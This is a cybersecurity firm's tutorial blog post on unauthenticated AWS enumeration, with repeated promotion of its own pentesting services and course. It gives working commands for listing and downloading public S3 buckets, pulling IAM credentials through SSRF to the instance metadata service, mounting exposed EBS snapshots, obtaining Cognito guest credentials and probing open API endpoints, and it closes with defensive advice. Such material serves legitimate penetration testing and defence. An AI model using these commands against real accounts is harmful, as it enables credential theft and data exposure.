Cloud misconfigurations remain one of the most exploited attack surfaces in modern infrastructure. AWS, despite its robust IAM framework, is routinely exposed through publicly accessible resources, overly permissive bucket policies, misconfigured APIs, and services that allow anonymous interaction. Unauthenticated enumeration, the process of discovering and interacting with AWS resources without valid credentials, is a critical phase in any AWS penetration test and often leads directly to sensitive data exposure or further lateral movement.
This post walks through the techniques, tools, and real-world command workflows used during unauthenticated AWS enumeration. Whether you are preparing for an engagement or deepening your cloud security knowledge, this guide provides the technical depth you need.
If your organization is looking for a thorough assessment of its AWS environment, the team at Redfox Cybersecurity conducts comprehensive cloud penetration testing engagements covering exactly these attack paths.
AWS services are globally reachable by design. When misconfigured, they expose metadata, object storage, APIs, and identity information to anyone on the internet without requiring authentication. Penetration testers and red teamers begin unauthenticated enumeration before obtaining any credentials to simulate what a real external attacker would see.
The goal at this phase is to:
S3 is the most commonly misconfigured AWS service. Public buckets, overly permissive bucket policies, and ACLs that grant access to AllUsers or AuthenticatedUsers (which includes any AWS account) are widespread.
Bucket names are global and predictable. Attackers commonly brute-force or permute names based on company name, product, or environment.
# Using s3scanner to check a list of potential bucket names
pip install s3scanner
s3scanner scan --bucket-file wordlist.txt --out-file results.txt --dump
[cta]
# Using AWS CLI anonymously to check if a bucket is publicly accessible
aws s3 ls s3://target-company-backups --no-sign-request
# List contents recursively
aws s3 ls s3://target-company-backups --recursive --no-sign-request
[cta]
# Copy files from public bucket without credentials
aws s3 cp s3://target-company-backups/db_dump.sql . --no-sign-request
[cta]
The --no-sign-request flag is the key mechanism here. It instructs the AWS CLI to skip signature generation entirely, making requests as an unauthenticated principal.
# Retrieve bucket ACL without authentication
aws s3api get-bucket-acl --bucket target-company-backups --no-sign-request
# Retrieve bucket policy
aws s3api get-bucket-policy --bucket target-company-backups --no-sign-request
[cta]
When a bucket policy includes "Principal": "*" with permissive actions such as s3:GetObject or s3:ListBucket, the bucket is fully open to the internet without any authentication.
Identifying the AWS account ID behind a target is valuable for scoping and for crafting role ARNs during later attack phases. This can be done without any credentials by leveraging publicly exposed resources.
When a bucket policy is publicly readable, it often contains the account ID in ARN format.
aws s3api get-bucket-policy --bucket target-company-assets --no-sign-request | python3 -c "import sys,json; pol=json.load(sys.stdin); [print(s.get('Principal','')) for s in pol['Statement']]"
[cta]
The tool aws_id_hunter and manual techniques using IAM role ARN guessing can confirm account IDs through error message differentiation.
# Attempt to assume a role with a guessed ARN — error messages differ between
# "account does not exist" and "role does not exist"
aws sts assume-role \
--role-arn arn:aws:iam::123456789012:role/nonexistent-role \
--role-session-name test \
--no-sign-request 2>&1
[cta]
An InvalidClientTokenId error means the account ID is invalid. An AccessDenied or NoSuchEntity response confirms the account exists. This differential is enough to enumerate valid account IDs.
The EC2 Instance Metadata Service (IMDS) is accessible from within an EC2 instance at 169.254.169.254. When applications running on EC2 are vulnerable to SSRF, attackers can reach IMDS externally and extract temporary credentials.
# Basic IMDS v1 fetch via SSRF-vulnerable endpoint
curl "https://target-app.com/fetch?url=http://169.254.169.254/latest/meta-data/"
# Extract IAM role name
curl "https://target-app.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# Extract temporary credentials for the discovered role
curl "https://target-app.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-production-role"
[cta]
This returns a JSON blob with AccessKeyId, SecretAccessKey, and Token, effectively converting an unauthenticated external position into a credentialed AWS session.
AWS introduced IMDSv2 to require a session token obtained via a PUT request, mitigating simple GET-based SSRF. However, some SSRF vulnerabilities allow PUT requests as well.
# Step 1: Obtain IMDSv2 token via SSRF if PUT is possible
curl -X PUT "https://target-app.com/fetch?url=http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
# Step 2: Use the token to query metadata
curl "https://target-app.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
-H "X-aws-ec2-metadata-token: TOKEN_HERE"
[cta]
Engagements involving SSRF and cloud metadata abuse are a specialty at Redfox Cybersecurity. The team regularly uncovers credential exposure paths that automated scanners miss entirely.
Organizations sometimes accidentally publish AMIs or EBS snapshots that contain sensitive data including hardcoded credentials, configuration files, or database contents.
# Search for public AMIs owned by a specific account
aws ec2 describe-images \
--owners 123456789012 \
--filters "Name=is-public,Values=true" \
--no-sign-request \
--region us-east-1
[cta]
# Search for public snapshots owned by a target account
aws ec2 describe-snapshots \
--owner-ids 123456789012 \
--filters "Name=attribute,Values=createVolumePermission" "Name=attribute-value,Values=all" \
--no-sign-request \
--region us-east-1
[cta]
Once a public snapshot is found, an attacker can create a volume from it in their own AWS account and mount it to inspect the contents.
# Create a volume from target snapshot in attacker account
aws ec2 create-volume \
--snapshot-id snap-0abc123def456 \
--availability-zone us-east-1a \
--region us-east-1
# Attach to attacker's EC2, then mount and browse
sudo mount /dev/xvdf1 /mnt/target-snapshot
ls /mnt/target-snapshot/home/
cat /mnt/target-snapshot/etc/environment
[cta]
AWS Cognito Identity Pools can be configured to grant unauthenticated users temporary AWS credentials. This is intended for guest access but frequently leads to significant privilege exposure.
Pool IDs are often embedded in JavaScript bundles served by web applications.
# Extract Cognito identity pool IDs from JS bundle
curl -s https://target-app.com/static/js/main.chunk.js | grep -oP 'us-east-1:[a-f0-9\-]{36}'
[cta]
# Get unauthenticated identity ID
aws cognito-identity get-id \
--account-id 123456789012 \
--identity-pool-id us-east-1:xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx \
--no-sign-request
# Get temporary credentials for that identity
aws cognito-identity get-credentials-for-identity \
--identity-id us-east-1:xxxxxxxx-xxxx-xxxx-xxxx-yyyyyyyyyyyy \
--no-sign-request
[cta]
The resulting credentials can then be used with the AWS CLI to interact with whatever services the unauthenticated Cognito role grants access to. In poorly scoped deployments, this includes S3 access, DynamoDB reads, or even Lambda invocation.
API Gateway endpoints follow predictable URL structures. When authentication is not enforced, they expose backend logic and data directly.
# Probe an API Gateway endpoint without authentication
curl -X GET "https://abc1234567.execute-api.us-east-1.amazonaws.com/prod/users"
# Try common paths
for path in users admin config health secrets env; do
echo "[*] Trying /$path"
curl -sk "https://abc1234567.execute-api.us-east-1.amazonaws.com/prod/$path" | head -c 500
echo
done
[cta]
Lambda function URLs introduced in 2022 allow direct HTTPS invocation without API Gateway. When the auth type is set to NONE, they are completely open.
# Invoke a Lambda function URL without credentials
curl -X POST "https://abcdefghijklmnop.lambda-url.us-east-1.on.aws/" \
-H "Content-Type: application/json" \
-d '{"action": "listUsers"}'
[cta]
For broader unauthenticated and low-privilege enumeration, ScoutSuite and Prowler are preferred tools in professional engagements due to their depth and reporting quality.
# Run ScoutSuite against an AWS environment with compromised credentials
pip install scoutsuite
scout aws --profile compromised-role --report-dir ./scout-output
# Run Prowler for compliance and misconfiguration checks
pip install prowler
prowler aws --profile compromised-role -M json html --output-directory ./prowler-output
[cta]
These tools generate structured reports that map findings to CIS benchmarks and AWS security best practices, making them essential for both red team and audit engagements. The Redfox Cybersecurity team incorporates these tools as part of structured AWS assessment methodologies.
Understanding these techniques at a command level is essential for anyone working in cloud security, whether as a penetration tester, a defender building detections, or a developer reviewing infrastructure design.
The Redfox Cybersecurity Academy offers a dedicated AWS Pentesting Course that covers all of these attack paths and more in a structured, hands-on lab environment. The course walks through enumeration, privilege escalation, lateral movement, and post-exploitation in AWS, including real-world scenarios drawn from actual penetration testing engagements. If you are serious about cloud security, this is the training to invest in.
Unauthenticated enumeration in AWS is not a niche skill. It is a foundational phase of any cloud penetration test, and the attack surface is wider than most teams realize. Public S3 buckets, exposed snapshots, misconfigured Cognito pools, open API Gateway endpoints, and SSRF-reachable IMDS services collectively represent a significant and commonly exploited set of vulnerabilities.
Defenders should enforce S3 Block Public Access at the organization level, require IMDSv2 on all EC2 instances, audit Cognito identity pool permissions regularly, enforce authorizers on all API Gateway routes, and rotate any credentials found in public resources immediately.
For security teams looking to validate their AWS posture against these techniques, Redfox Cybersecurity provides expert-led AWS penetration testing engagements that go well beyond automated scanning to identify the misconfigurations that matter most.
And for practitioners looking to build hands-on expertise, the Redfox Cybersecurity Academy AWS Pentesting Course is the most technically grounded training available for cloud offensive security.
Redfox Cyber Security Inc.
8 The Green, Ste. A, Dover,
Delaware 19901,
United States.
.avif)
